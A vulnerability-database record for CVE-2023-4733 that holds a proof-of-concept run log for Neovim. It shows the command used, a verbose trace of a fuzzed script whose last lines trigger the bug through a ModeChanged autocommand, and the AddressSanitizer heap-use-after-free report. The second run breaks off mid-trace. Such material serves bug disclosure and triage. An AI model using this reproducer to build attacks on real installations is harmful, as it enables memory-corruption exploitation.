{"uuid": "531aa876-d99a-4601-a175-e0f8f0765afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4733", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/58c6c1f67245ab9faa45606bfd51dde5", "content": "Command:\n./nvim-0.9.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: ^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: ^?: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: ^?2: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: <8b>: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: c\\^A: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: <8b>2: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: ^?: d ^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: ^P^EO,': o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: ^?: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: ^?2: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: <8b>: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: c\\^A: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: <8b>2: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: 0]: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: ^?: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: ^N(: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42398==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003160 at pc 0x0000006e35f5 bp 0x7ffd6cdc86e0 sp 0x7ffd6cdc86d8\nREAD of size 4 at 0x626000003160 thread T0\n    #0 0x6e35f4 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46\n    #1 0x9a51f1 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2232:9\n    #2 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #3 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #4 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #5 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #6 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #7 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #8 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #9 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #10 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #11 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #12 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #13 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #14 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #15 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #16 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #17 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #18 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #23 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #24 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #25 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #26 0x467fad in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x467fad)\n\n0x626000003160 is located 96 bytes inside of 10640-byte region [0x626000003100,0x626000005a90)\nfreed by thread T0 here:\n    #0 0x4e046d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e046d)\n    #1 0xc9d3d9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x6c523e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1992:7\n    #3 0x6c8fe6 in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1602:10\n    #4 0x10669ff in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:266:3\n    #5 0xd3a347 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1490:3\n    #6 0xd3a554 in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1507:5\n    #7 0x9a4e38 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2205:3\n    #8 0x9f731b in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5269:9\n    #9 0x9fc5f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5199:3\n    #10 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #12 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0xd5668e in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3238:18\n    #14 0xd4b60e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1198:3\n    #15 0xd4810c in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6638:9\n    #16 0x9fa62a in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6496:5\n    #17 0x9fa386 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6479:3\n    #18 0xa0430b in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6411:7\n    #19 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #21 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #22 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #23 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #24 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #25 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #27 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #28 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #29 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0862 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.1-ASAN+0x4e0862)\n    #1 0xc9d473 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x1250bcb in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:5014:19\n    #3 0x125ff96 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1306:12\n    #4 0x1248449 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1071:10\n    #5 0x9f5bc9 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4999:14\n    #6 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #8 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xf44561 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2158:5\n    #10 0xf41384 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1708:14\n    #11 0xf410e0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1716:3\n    #12 0x9e5fdc in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #13 0x9d3d1f in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2279:7\n    #14 0x9c973e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #15 0x9ccdd3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #16 0x51f8b4 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1892:5\n    #17 0x512acc in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:579:5\n    #18 0x7f9b25a0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3063:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42398==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4733\n\nline 0: sourcing \"CVE-2023-4733\"\nline 1: ^B\n\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733/CVE-2023-4733:\nline    1:\nE492: Not an editor command: ^B\nline 2: \n\nline 3: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\",ees^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\<90>^P^\\ej^P^L^P^P^P^P0^P^P(^M^P^P^X\n\nline    3:\nE488: Trailing characters: o^P\ufffd\ufffd\ufffd\ufffd\ufffd&&&:^P&&&:^P^LfWe!^P^P^P^P^P^L^P^Q ^P^P^P^P^P w^AK9\nline 4: o^P^EO,'\n\nline    4:\nE488: Trailing characters: o^P^EO,'\nline 5: b\n\nline    5:\nE94: No matching buffer for \nline 6:  ^PN,'\n\nline    6:\nE492: Not an editor command:  ^PN,'\nline 7:  \n\nline 8: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\|\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSCd K t0]<80> \n:a\n\nline 9: ^Po^Sd\n\nline    9:\nE492: Not an editor command: ^Po^Sd\nline 10: nFK\n\nline   10:\nE492: Not an editor command: nFK\nline 11: t<8b>^Dl<9c>ll\n\nline   11:\nE16: Invalid range\nline 12: d K2\n\nline 13: d ^?\n\nline   13:\nE488: Trailing characters: d ^?\nline 14: d K\n\nline 15: t0\n\nline 16: n(Q\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 16: unlet! b:keymap_name\n\nline 17: t0H\n\nline 18: d ^?2\n\nline   18:\nE488: Trailing characters: d ^?2\nline 19: eGere ln\n\nline   19:\nE492: Not an editor command: eGere ln\nline 20: ln.lhe S$  ^_                 K\n\nline 21: t0\n\nline 22: }FKs<\n\nline   22:\nE492: Not an editor command: }FKs<\nline 23: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   23:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 24: -\n\nline 25: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 26: W\n\nline   26:\nE492: Not an editor command: W\nline 27: geeeeeeeeeeeee\n\nline   27:\nE492: Not an editor command: geeeeeeeeeeeee\nline 28: d<8b>\n\nline   28:\nE488: Trailing characters: d<8b>\nline 29:  @^P\n\nline   29:\nE354: Invalid register name: ''\nline 30: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 30: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 30: unlet! b:keymap_name\n\nline 31: ^P\n\nline   31:\nE492: Not an editor command: ^P\nline 32: u\n\nAlready at oldest change\nline 33: <90>\n\nline   33:\nE492: Not an editor command: <90>\nline 34: <80> @d\n\nline   34:\nE492: Not an editor command: <80> @d\nline 35: uc\\^A\n\nline   35:\nE488: Trailing characters: uc\\^A\nline 36: g<9a>\n\nline   36:\nE35: No previous regular expression\nE476: Invalid command\nline 37: r\n\nline   37:\nE484: Can't open file \nline 38: d<8b>2\n\nline   38:\nE488: Trailing characters: d<8b>2\nline 39: W K2d K\n\nline   39:\nE492: Not an editor command: W K2d K\nline 40: t0]\n\nline 41: ^Po\"d\n\nline   41:\nE492: Not an editor command: ^Po\"d\nline 42: <8f>FK\n\nline   42:\nE492: Not an editor command: <8f>FK\nline 43: <85><8b>^De<89>ll\n\nline   43:\nE492: Not an editor command: <85><8b>^De<89>ll\nline 44: d 92\n\nline 45: d ^?\n\nline   45:\nE488: Trailing characters: d 